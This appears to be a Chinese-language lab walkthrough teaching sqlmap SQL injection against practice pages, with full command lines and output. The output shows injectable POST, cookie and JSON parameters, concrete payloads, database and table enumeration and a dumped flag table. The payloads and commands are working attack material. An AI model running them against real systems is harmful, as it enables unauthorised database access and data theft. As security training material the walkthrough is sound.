[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 03:41:55 /2023-01-12/
[03:41:55] [INFO] testing connection to the target URL
[03:41:56] [INFO] testing if the target URL content is stable
[03:41:56] [INFO] target URL content is stable
[03:41:56] [INFO] testing if POST parameter 'id' is dynamic
[03:41:57] [INFO] POST parameter 'id' appears to be dynamic
[03:41:57] [INFO] heuristic (basic) test shows that POST parameter 'id' might be injectable (possible DBMS: 'MySQL')
[03:41:58] [INFO] heuristic (XSS) test shows that POST parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[03:41:58] [INFO] testing for SQL injection on POST parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[03:41:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:42:00] [WARNING] reflective value(s) found and filtering out
[03:42:01] [INFO] POST parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Bird")
[03:42:01] [INFO] testing 'Generic inline queries'
[03:42:02] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[03:42:02] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[03:42:03] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[03:42:03] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[03:42:04] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[03:42:04] [WARNING] potential permission problems detected ('command denied')
[03:42:04] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[03:42:05] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[03:42:05] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[03:42:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[03:42:06] [INFO] POST parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[03:42:06] [INFO] testing 'MySQL inline queries'
[03:42:07] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[03:42:07] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)
[03:42:23] [INFO] POST parameter 'id' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable
[03:42:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[03:42:34] [INFO] POST parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[03:42:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[03:42:34] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[03:42:35] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[03:42:37] [INFO] target URL appears to have 9 columns in query
[03:42:38] [INFO] POST parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6585=6585
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 4384 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(4384=4384,1))),0x716a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9342 FROM (SELECT(SLEEP(5)))MEtM)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717871,0x5566567475444b546f7974736655746269446c6b4e6f746e697754775465676f4d67467a7a536744,0x716a717171)-- -
---
[03:43:33] [INFO] the back-end DBMS is MySQL
[03:43:33] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[03:43:34] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cuuemo.com'
[*] ending @ 03:43:34 /2023-01-12/
有注入点我们试试爆数据库使用参数--dbs
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://cuuemo.com/case2.php" --data='id=1' --dbs
___
__H__
___ ___[)]_____ ___ ___ {1.6.12#stable}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 03:52:39 /2023-01-12/
[03:52:39] [INFO] resuming back-end DBMS 'mysql'
[03:52:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6585=6585
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 4384 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(4384=4384,1))),0x716a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9342 FROM (SELECT(SLEEP(5)))MEtM)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717871,0x5566567475444b546f7974736655746269446c6b4e6f746e697754775465676f4d67467a7a536744,0x716a717171)-- -
---
[03:52:40] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[03:52:40] [INFO] fetching database names
[03:52:40] [WARNING] potential permission problems detected ('command denied')
available databases [2]:
[*] information_schema
[*] testdb
[03:52:41] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cuuemo.com'
[*] ending @ 03:52:41 /2023-01-12/
可以看到有两个数据库
[] information_schema
[] testdb
information_schema简介
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
testdb才是用户创建的数据库
所以我们查看testdb里面有什么表
使用-D参数指定库名,使用--tables查看表
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://cuuemo.com/case2.php" --data='id=1' -D testdb --tables
___
__H__
___ ___["]_____ ___ ___ {1.6.12#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 03:58:10 /2023-01-12/
[03:58:10] [INFO] resuming back-end DBMS 'mysql'
[03:58:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6585=6585
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 4384 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(4384=4384,1))),0x716a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9342 FROM (SELECT(SLEEP(5)))MEtM)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717871,0x5566567475444b546f7974736655746269446c6b4e6f746e697754775465676f4d67467a7a536744,0x716a717171)-- -
---
[03:58:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[03:58:11] [INFO] fetching tables for database: 'testdb'
[03:58:12] [WARNING] potential permission problems detected ('command denied')
Database: testdb
[2 tables]
+-------+
| flag2 |
| users |
+-------+
[03:58:12] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cuuemo.com'
[*] ending @ 03:58:12 /2023-01-12/
可以看到有两个表分别为flag2和users 我们查看flag2表的列名 使用-T参数整定表名,所以--columns查看列名
└─$ sqlmap -u "http://cuuemo.com/case2.php" --data='id=1' -D testdb -T flag2 --columns
___
__H__
___ ___[.]_____ ___ ___ {1.6.12#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:03:00 /2023-01-12/
[04:03:00] [INFO] resuming back-end DBMS 'mysql'
[04:03:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6585=6585
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 4384 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(4384=4384,1))),0x716a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9342 FROM (SELECT(SLEEP(5)))MEtM)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717871,0x5566567475444b546f7974736655746269446c6b4e6f746e697754775465676f4d67467a7a536744,0x716a717171)-- -
---
[04:03:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[04:03:01] [INFO] fetching columns for table 'flag2' in database 'testdb'
[04:03:09] [WARNING] potential permission problems detected ('command denied')
Database: testdb
Table: flag2
[2 columns]
+---------+--------------+
| Column | Type |
+---------+--------------+
| content | varchar(512) |
| id | int(11) |
+---------+--------------+
[04:03:12] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cuuemo.com'
[*] ending @ 03:58:12 /2023-01-12/
我们可以看到有两列content和id,content的类型是varchar(512) id的类型是int(11) 使用-C指定要看的列名多个用逗号隔开,使用--dump导出列的数据
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://cuuemo.com/case2.php" --data='id=1' -D testdb -T flag2 -C content,id --dump
___
__H__
___ ___["]_____ ___ ___ {1.6.12#stable}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:07:38 /2023-01-12/
[04:07:39] [INFO] resuming back-end DBMS 'mysql'
[04:07:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6585=6585
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 4384 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(4384=4384,1))),0x716a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9342 FROM (SELECT(SLEEP(5)))MEtM)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717871,0x5566567475444b546f7974736655746269446c6b4e6f746e697754775465676f4d67467a7a536744,0x716a717171)-- -
---
[04:07:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[04:07:39] [INFO] fetching entries of column(s) 'content,id' for table 'flag2' in database 'testdb'
[04:07:40] [WARNING] potential permission problems detected ('command denied')
Database: testdb
Table: flag2
[1 entry]
+----------------------------------------+----+
| content | id |
+----------------------------------------+----+
| flag{fddsadfsafdsafdsafdsfdsfdsfdfhfd} | 1 |
+----------------------------------------+----+
[04:07:41] [INFO] table 'testdb.flag2' dumped to CSV file '/home/kali/.local/share/sqlmap/output/cuuemo.com/dump/testdb/flag2.csv'
[04:07:41] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cuuemo.com'
[*] ending @ 04:07:41 /2023-01-12/
可以看到flag 注入完毕 我们试试cookie注入 访问url
cuuemo.com/case3.php
![[Pasted image 20230112171338.png]] 这是cookie注入参数是id构建sqlmap语句,level大于等于2才能扫cookie里的内容
┌──(kali㉿kali)-[~]
└─$ sqlmap "http://cuuemo.com/case3.php" --cookie='id=1' --level 2
___
__H__
___ ___[']_____ ___ ___ {1.6.12#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:44:25 /2023-01-12/
[04:44:25] [INFO] testing connection to the target URL
[04:44:26] [INFO] checking if the target is protected by some kind of WAF/IPS
[04:44:26] [INFO] testing if the target URL content is stable
[04:44:27] [INFO] target URL content is stable
[04:44:27] [INFO] testing if Cookie parameter 'id' is dynamic
do you want to URL encode cookie values (implementation specific)? [Y/n]
[04:44:29] [INFO] Cookie parameter 'id' appears to be dynamic
[04:44:29] [INFO] heuristic (basic) test shows that Cookie parameter 'id' might be injectable (possible DBMS: 'MySQL')
[04:44:30] [INFO] heuristic (XSS) test shows that Cookie parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[04:44:30] [INFO] testing for SQL injection on Cookie parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n]
[04:44:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:44:31] [WARNING] reflective value(s) found and filtering out
[04:44:34] [INFO] Cookie parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Bird")
[04:44:34] [INFO] testing 'Generic inline queries'
[04:44:35] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[04:44:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[04:44:40] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[04:44:41] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[04:44:42] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[04:44:42] [WARNING] potential permission problems detected ('command denied')
[04:44:42] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[04:44:43] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[04:44:43] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[04:44:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[04:44:44] [INFO] Cookie parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[04:44:44] [INFO] testing 'MySQL inline queries'
[04:44:45] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[04:44:44] [WARNING] time-based comparison requires larger statistical model, please wait......... (done)
[04:44:48] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[04:44:54] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[04:44:59] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[04:45:04] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[04:45:10] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[04:45:12] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[04:45:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[04:45:20] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[04:45:25] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[04:45:31] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
[04:46:31] [INFO] Cookie parameter 'id' appears to be 'MySQL >= 5.0.12 OR time-based blind (SLEEP)' injectable
[04:46:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[04:46:31] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[04:46:32] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[04:46:35] [INFO] target URL appears to have 9 columns in query
[04:46:37] [INFO] Cookie parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: id (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5943=5943
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 1984 FROM(SELECT COUNT(*),CONCAT(0x717a767171,(SELECT (ELT(1984=1984,1))),0x71787a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
Payload: id=1 OR SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x717a767171,0x45744776447172767666726e454d4741767362586c467a5757644a626c545072514869584b705979,0x71787a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[05:37:08] [INFO] the back-end DBMS is MySQL
[05:37:08] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[05:37:09] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cuuemo.com'
[*] ending @ 05:37:09 /2023-01-12/
然后同上步骤看库名表名等等 访问url
cuuemo.com/case4.php
![[Pasted image 20230112184455.png]] 可以看到json数据参数id值1 我们使用burpsuite
┌──(kali㉿kali)-[~]
└─$ burpsuite
点Proxy ![[Pasted image 20230112184851.png]] 点Open Browser ![[Pasted image 20230112184916.png]] 弹出一个浏览器访问cuuemo.com/case4.php 这里会拦截包 第一个包点Forward放掉 第二个包我们看到最下面有: {"id":"1"} 并且是json格式 ![[Pasted image 20230112185417.png]] 我们把包保存到文件右键点Copy to file ![[Pasted image 20230112185443.png]] 然后保存的输入文件名字比如req.txt 使用参数-r选择文件,使用参数--batch自动使用推荐参数
┌──(kali㉿kali)-[~]
└─$ sqlmap -r req.txt --batch
___
__H__
___ ___[)]_____ ___ ___ {1.6.12#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 05:56:34 /2023-01-12/
[05:56:34] [INFO] parsing HTTP request from 'req.txt'
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[05:56:34] [INFO] testing connection to the target URL
[05:56:35] [INFO] testing if the target URL content is stable
[05:56:35] [INFO] target URL content is stable
[05:56:35] [INFO] testing if (custom) POST parameter 'JSON id' is dynamic
[05:56:36] [INFO] (custom) POST parameter 'JSON id' appears to be dynamic
[05:56:36] [INFO] heuristic (basic) test shows that (custom) POST parameter 'JSON id' might be injectable (possible DBMS: 'MySQL')
[05:56:36] [INFO] heuristic (XSS) test shows that (custom) POST parameter 'JSON id' might be vulnerable to cross-site scripting (XSS) attacks
[05:56:36] [INFO] testing for SQL injection on (custom) POST parameter 'JSON id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[05:56:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:56:37] [WARNING] reflective value(s) found and filtering out
[05:56:39] [INFO] (custom) POST parameter 'JSON id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="id")
[05:56:39] [INFO] testing 'Generic inline queries'
[05:56:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[05:56:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[05:56:40] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[05:56:40] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[05:56:41] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[05:56:41] [WARNING] potential permission problems detected ('command denied')
[05:56:41] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[05:56:41] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[05:56:42] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[05:56:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[05:56:43] [INFO] (custom) POST parameter 'JSON id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[05:56:43] [INFO] testing 'MySQL inline queries'
[05:56:43] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[05:56:43] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)
[05:56:59] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable
[05:56:59] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[05:57:11] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[05:57:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[05:57:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[05:57:12] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[05:57:14] [INFO] target URL appears to have 6 columns in query
[05:57:15] [INFO] (custom) POST parameter 'JSON id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {"id":"1 AND 4040=4040"}
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: {"id":"1 AND (SELECT 6097 FROM(SELECT COUNT(*),CONCAT(0x7178706271,(SELECT (ELT(6097=6097,1))),0x7171767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)"}
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: {"id":"1;SELECT SLEEP(5)#"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"1 AND (SELECT 1482 FROM (SELECT(SLEEP(5)))CrAm)"}
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: {"id":"1 UNION ALL SELECT CONCAT(0x7178706271,0x794e7142634b6379514e6d56576a4675766f516a476e425843474465474f79685669646c67725644,0x7171767871),NULL,NULL,NULL,NULL,NULL-- -"}
---
[05:57:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[05:57:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cuuemo.com'
[*] ending @ 05:57:15 /2023-01-12/
sqlmap检测到了注入,步骤也是同上
处理 SQLMap 错误
在设置 SQLMap 或将其用于 HTTP 请求时,我们可能会遇到很多问题。 我们将讨论用于查找原因并正确修复它的推荐机制。
显示错误
第一步通常是切换 --parse-errors, 解析 DBMS 错误(如果有的话)并将它们显示为程序运行的一部分:
...SNIP...
[16:09:20] [INFO] testing if GET parameter 'id' is dynamic
[16:09:20] [INFO] GET parameter 'id' appears to be dynamic
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '))"',),)((' at line 1'"
[16:09:20] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''YzDZJELylInm' at line 1'
...SNIP...
使用此选项,SQLMap 将自动打印 DBMS 错误,从而让我们清楚可能是什么问题,以便我们可以正确修复它。
存储流量
这 -t选项将整个流量内容存储到输出文件:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://www.cuuemo.com/vuln.php?id=1" --batch -t /tmp/traffic.txt
...SNIP...
┌──(kali㉿kali)-[~]
└─$ cat /tmp/traffic.txt
HTTP request [#1]:
GET /?id=1 HTTP/1.1
Host: www.cuuemo.com
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.9 (http://sqlmap.org)
Connection: close
HTTP response [#1] (200 OK):
Date: January, 12 Sep 2023 14:12:50 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 914
Connection: close
